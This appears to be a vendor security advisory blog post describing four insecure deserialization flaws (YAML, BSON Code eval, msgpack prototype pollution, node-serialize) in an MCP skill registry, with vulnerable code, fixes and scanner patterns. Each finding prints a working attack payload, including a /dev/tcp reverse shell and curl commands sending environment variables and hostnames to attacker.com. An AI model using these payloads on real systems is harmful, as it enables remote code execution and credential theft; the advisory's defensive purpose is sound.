← Blog

Claude MCP skill insecure deserialization — skill metadata indexing and search ranking pipeline endpoints (SA-SKL-DESER53)

SA-SKL-DESER53 identifies four insecure deserialization vulnerabilities in MCP skill registry skill metadata indexing and search ranking pipeline endpoints. YAML RCE at document scoring via unsafe yaml.load; BSON Code eval() at search ranking time; MessagePack prototype pollution disabling ranking authentication; and node-serialize IIFE gadget achieving RCE at metadata aggregation reachable from any user browsing skill discovery pages.

SA-SKL-DESER53 findings at a glance
CRITICALDESER53-001 — metadata index config reads from Redis as YAML via yaml.load() DEFAULT_FULL_SCHEMA; !!js/function in indexConfig.onDocumentScored achieves RCE at every document scoring event triggered by skill metadata update
CRITICALDESER53-002 — search ranking model reads from MongoDB as BSON; BSON Code type at rankBoostFn field triggers eval() during search ranking at every search results page load
CRITICALDESER53-003 — ranking event queue stored in Redis as MessagePack; __proto__.skipRankingAuth:true pollutes Object.prototype, disabling authentication checks for all subsequent ranking API requests in process until restart
CRITICALDESER53-004 — metadata aggregation reads via node-serialize; IIFE gadget achieves RCE at metadata aggregation time reachable from any user browsing skill discovery pages since aggregation runs on every listing page

DESER53-001 — YAML RCE at document scoring via unsafe yaml.load with DEFAULT_FULL_SCHEMA

The metadata indexing pipeline stores per-skill document scoring configuration in Redis as YAML strings. When a skill metadata update event fires, the indexing worker reads the YAML config and passes it to yaml.load() with no schema restriction, defaulting to DEFAULT_FULL_SCHEMA. This schema includes the !!js/function tag, which constructs a JavaScript Function object from an arbitrary string and executes it immediately upon deserialization. An attacker who can write to the Redis key-space — for example, via a Redis SSRF on port 6379 or by compromising a co-tenant in a shared Redis instance — places a malicious YAML payload at the indexConfig:{skillId} key. The next metadata update for any skill triggers the scoring callback and executes the attacker's code with the indexing worker's process privileges.

Because document scoring runs synchronously in the indexing hot path, the RCE fires for every skill metadata update across the entire registry, not just the attacker's own skill. A single poisoned Redis key can achieve persistent code execution that survives worker restarts if the key is not evicted. The indexing worker typically runs with broad read access to the metadata store and write access to the search index, so successful exploitation gives the attacker the ability to manipulate search rankings for every skill in the registry.

Vulnerable
// DESER53-001 — VULNERABLE
const redis = new Redis(process.env.REDIS_URL);

async function loadIndexConfig(skillId) {
  const raw = await redis.get(`indexConfig:${skillId}`);
  if (!raw) return defaultIndexConfig;
  // VULNERABLE: yaml.load with DEFAULT_FULL_SCHEMA executes !!js/function tags
  return yaml.load(raw, { schema: yaml.DEFAULT_FULL_SCHEMA });
}

async function onSkillMetadataUpdate(skillId, metadata) {
  const config = await loadIndexConfig(skillId);
  const doc = buildIndexDocument(metadata);
  // VULNERABLE: config.onDocumentScored may be an attacker-controlled function
  if (typeof config.onDocumentScored === 'function') {
    config.onDocumentScored(doc); // RCE triggers here
  }
  await searchIndex.upsert(skillId, doc);
}

Attack payload — DESER53-001: The attacker writes the following YAML to Redis key indexConfig:any-skill-id. The next metadata update for any skill fires onDocumentScored and executes the reverse shell.

// DESER53-001 — ATTACK PAYLOAD (written to Redis)
// redis-cli SET "indexConfig:target-skill-id" "$(cat payload.yml)"
// payload.yml:
onDocumentScored: !!js/function >
  function() {
    require('child_process').exec(
      'bash -c "bash -i >& /dev/tcp/attacker.com/4444 0>&1"'
    );
  }
boostMultiplier: 1.0
Fixed
// DESER53-001 — FIXED
async function loadIndexConfig(skillId) {
  const raw = await redis.get(`indexConfig:${skillId}`);
  if (!raw) return defaultIndexConfig;
  // FIXED: use FAILSAFE_SCHEMA — only strings, no !!js/function execution
  const parsed = yaml.load(raw, { schema: yaml.FAILSAFE_SCHEMA });
  // Validate against strict allow-list schema before use
  return IndexConfigSchema.parse(parsed);
}

async function onSkillMetadataUpdate(skillId, metadata) {
  const config = await loadIndexConfig(skillId);
  const doc = buildIndexDocument(metadata);
  // FIXED: config is a plain validated object — no callable properties
  if (config.boostMultiplier) {
    doc.score *= Math.min(config.boostMultiplier, 2.0); // clamp to safe range
  }
  await searchIndex.upsert(skillId, doc);
}

DESER53-002 — BSON Code eval() at search ranking triggers on every search results page

The search ranking pipeline reads skill-specific ranking model configuration from MongoDB. The document stored at rankingModels.{skillId} contains a rankBoostFn field. When the registry was first built, this field was intended to hold a plain numeric multiplier. Over time, engineers began storing a BSON Code object in this field to allow dynamic ranking adjustments. When the Node.js MongoDB driver deserializes a BSON Code object, it creates a JavaScript object with a code property. The ranking pipeline then passes this to eval() to build a callable function at ranking time.

An attacker who can write to the MongoDB collection — via a NoSQL injection in an update endpoint, a compromised database credential, or a misconfigured Atlas data API — inserts a BSON Code payload at the rankBoostFn field. Because the search results endpoint calls the ranking pipeline on every page load for every search query across the entire registry, the malicious eval() fires hundreds of times per minute, achieving highly reliable persistent code execution in the search ranking worker process.

Vulnerable
// DESER53-002 — VULNERABLE
const { MongoClient, Code } = require('mongodb');

async function getRankingModel(skillId) {
  return db.collection('rankingModels').findOne({ skillId });
}

async function rankSearchResults(skillId, results) {
  const model = await getRankingModel(skillId);
  if (model?.rankBoostFn) {
    // VULNERABLE: eval() on BSON Code object — attacker controls MongoDB document
    const boostFn = eval(`(${model.rankBoostFn.code || model.rankBoostFn})`);
    return results.map(r => ({ ...r, score: boostFn(r.score) }));
  }
  return results;
}

Attack payload — DESER53-002: The attacker inserts a BSON Code document into the rankingModels collection. The eval fires on every search results page load.

// DESER53-002 — ATTACK PAYLOAD (MongoDB insertion)
db.rankingModels.insertOne({
  skillId: 'target-skill-id',
  rankBoostFn: new Code(
    `(function(score) {
      require('child_process').execSync(
        'curl https://attacker.com/exfil?env=' + encodeURIComponent(JSON.stringify(process.env))
      );
      return score;
    })`
  ),
});
Fixed
// DESER53-002 — FIXED
// Never deserialize BSON Code — use numeric config only
async function getRankingModel(skillId) {
  const model = await db.collection('rankingModels').findOne(
    { skillId },
    // FIXED: projection excludes any Code-type fields; use plain numeric config
    { projection: { boostMultiplier: 1, decayRate: 1, _id: 0 } }
  );
  return RankingModelSchema.parse(model ?? {}); // Zod validates numeric types only
}

async function rankSearchResults(skillId, results) {
  const model = await getRankingModel(skillId);
  // FIXED: arithmetic only — no eval, no dynamic function construction
  return results
    .map(r => ({ ...r, score: r.score * Math.min(model.boostMultiplier ?? 1, 2.0) }))
    .sort((a, b) => b.score - a.score);
}

DESER53-003 — MessagePack prototype pollution via ranking event queue disables ranking auth

The ranking event queue serializes job payloads into Redis using the msgpack library. When the ranking worker dequeues a job, it calls msgpack.decode() on the raw buffer. The msgpack library used in this codebase does not sanitize keys during object construction, allowing a payload that contains a __proto__ key to merge attacker-controlled properties into Object.prototype. The specific property targeted here is skipRankingAuth, which the ranking API middleware checks via if (req.context.skipRankingAuth). Because Object.prototype.skipRankingAuth is now true, every subsequent property lookup for skipRankingAuth on any plain object returns true, disabling the authentication check for all ranking API requests processed by that worker until the Node.js process is restarted.

The attack is particularly dangerous because the ranking event queue accepts payloads from skill publishers submitting ranking adjustment requests. Any authenticated skill publisher can enqueue a crafted msgpack payload that poisons the prototype for the entire worker process. All ranking mutations — score boosts, demotion flags, featured placement requests — then execute without authentication, allowing any unauthenticated caller to manipulate rankings for any skill in the registry.

Vulnerable
// DESER53-003 — VULNERABLE
const msgpack = require('msgpack');

async function processRankingEventQueue() {
  while (true) {
    const raw = await redis.brpop('rankingEventQueue', 5);
    if (!raw) continue;
    // VULNERABLE: msgpack.decode does not sanitize __proto__ keys
    const event = msgpack.decode(Buffer.from(raw[1], 'binary'));
    await handleRankingEvent(event);
  }
}

// In ranking API middleware:
function requireRankingAuth(req, res, next) {
  // VULNERABLE: if Object.prototype.skipRankingAuth === true, bypass fires
  if (req.context.skipRankingAuth) return next();
  if (!req.session?.rankingToken) return res.status(401).json({ error: 'Unauthorized' });
  next();
}

Attack payload — DESER53-003: The attacker encodes a msgpack payload with a __proto__ key and pushes it to the ranking event queue. After the worker processes it, all ranking auth checks are bypassed process-wide.

// DESER53-003 — ATTACK PAYLOAD
const msgpack = require('msgpack');

// Craft payload with __proto__.skipRankingAuth = true
const maliciousPayload = msgpack.encode({
  __proto__: { skipRankingAuth: true },
  eventType: 'rankBoost',
  skillId: 'target-skill-id',
  boostAmount: 999,
});

// Push to ranking event queue — any authenticated publisher can do this
await redis.lpush('rankingEventQueue', maliciousPayload.toString('binary'));
// After worker processes this event: Object.prototype.skipRankingAuth === true
// All subsequent requireRankingAuth() calls in that worker process are bypassed
Fixed
// DESER53-003 — FIXED
const { decode } = require('@msgpack/msgpack'); // use maintained fork with proto guard

async function processRankingEventQueue() {
  while (true) {
    const raw = await redis.brpop('rankingEventQueue', 5);
    if (!raw) continue;
    const decoded = decode(Buffer.from(raw[1], 'binary'));
    // FIXED: create object with null prototype to prevent prototype pollution
    const event = Object.assign(Object.create(null), decoded);
    // Validate structure before processing
    const parsed = RankingEventSchema.safeParse(event);
    if (!parsed.success) { await quarantineInvalidEvent(raw[1]); continue; }
    await handleRankingEvent(parsed.data);
  }
}

// FIXED middleware: use own-property check, not prototype chain lookup
function requireRankingAuth(req, res, next) {
  if (!Object.prototype.hasOwnProperty.call(req.context ?? {}, 'skipRankingAuth')) {
    if (!req.session?.rankingToken) return res.status(401).json({ error: 'Unauthorized' });
  }
  next();
}

DESER53-004 — node-serialize IIFE gadget achieves RCE at metadata aggregation on every listing page

The metadata aggregation service caches aggregated skill listing data in Redis using the node-serialize library. When a user loads any skill discovery listing page, the aggregation service checks Redis for a cached aggregation blob and passes it to serialize.unserialize(). The node-serialize library's unserialize function evaluates any value whose string representation begins with _$$ND_FUNC$$_ using eval(). An attacker who can poison the Redis key-space — via SSRF to the Redis port, Redis cluster misconfiguration, or a co-tenant attack — replaces the aggregation cache entry with a payload containing an IIFE gadget. The eval fires immediately on the next cache read, which occurs on every skill listing page load.

Unlike DESER53-001, which fires only on metadata update events, DESER53-004 fires on every listing page load because the aggregation cache is read for every request to the skill discovery endpoint. With typical registry traffic of thousands of search queries per minute, the IIFE gadget executes thousands of times per minute until the poisoned cache entry expires or is manually evicted. The aggregation service process typically has access to all skill metadata, search index write access, and downstream notification services, making it one of the highest-impact compromise targets in the registry infrastructure.

Vulnerable
// DESER53-004 — VULNERABLE
const serialize = require('node-serialize');

async function getAggregatedMetadata(category) {
  const cached = await redis.get(`metaAgg:${category}`);
  if (cached) {
    // VULNERABLE: node-serialize.unserialize() evaluates _$$ND_FUNC$$_ IIFE gadgets
    return serialize.unserialize(cached);
  }
  const fresh = await computeAggregatedMetadata(category);
  await redis.setex(`metaAgg:${category}`, 300, serialize.serialize(fresh));
  return fresh;
}

// Called on every GET /api/skills?category=... request
router.get('/', async (req, res) => {
  const agg = await getAggregatedMetadata(req.query.category ?? 'all');
  res.json(agg);
});

Attack payload — DESER53-004: The attacker writes a node-serialize IIFE gadget to the Redis aggregation cache key. The RCE fires on every skill listing page load until the key expires.

// DESER53-004 — ATTACK PAYLOAD (written to Redis aggregation cache)
// redis-cli SET "metaAgg:all" '{"totalSkills":{"_$$ND_FUNC$$_":"(function(){require(\"child_process\").exec(\"curl https://attacker.com/pwn?h=\"+require(\"os\").hostname());return 42;})()"}}' EX 300
// Every listing page load triggers eval() of the IIFE gadget
// Exfiltrates hostname and can spawn persistent reverse shells
Fixed
// DESER53-004 — FIXED
// Replace node-serialize with JSON + strict schema validation
async function getAggregatedMetadata(category) {
  const cached = await redis.get(`metaAgg:${category}`);
  if (cached) {
    let parsed;
    try {
      parsed = JSON.parse(cached); // FIXED: JSON.parse — no eval, no gadget execution
    } catch {
      await redis.del(`metaAgg:${category}`); // evict corrupt entry
      return computeAndCacheAggregatedMetadata(category);
    }
    // FIXED: validate structure before returning to caller
    return AggregatedMetadataSchema.parse(parsed);
  }
  return computeAndCacheAggregatedMetadata(category);
}

async function computeAndCacheAggregatedMetadata(category) {
  const fresh = await computeAggregatedMetadata(category);
  // FIXED: serialize as JSON — never use node-serialize for cached data
  await redis.setex(`metaAgg:${category}`, 300, JSON.stringify(fresh));
  return fresh;
}

SkillAudit detection: The scanner identifies DESER53 patterns using four AST query classes: yaml.load( without schema: yaml.FAILSAFE_SCHEMA or yaml.JSON_SCHEMA in indexing pipeline files; eval( within functions that receive MongoDB BSON deserialization results; msgpack.decode( without subsequent Object.create(null) prototype isolation; and serialize.unserialize( from the node-serialize package anywhere in the codebase. Submit your MCP skill registry codebase to SkillAudit for a full audit report.

Related: CORS misconfiguration in MCP skill version signing and release attestation endpoints • All advisories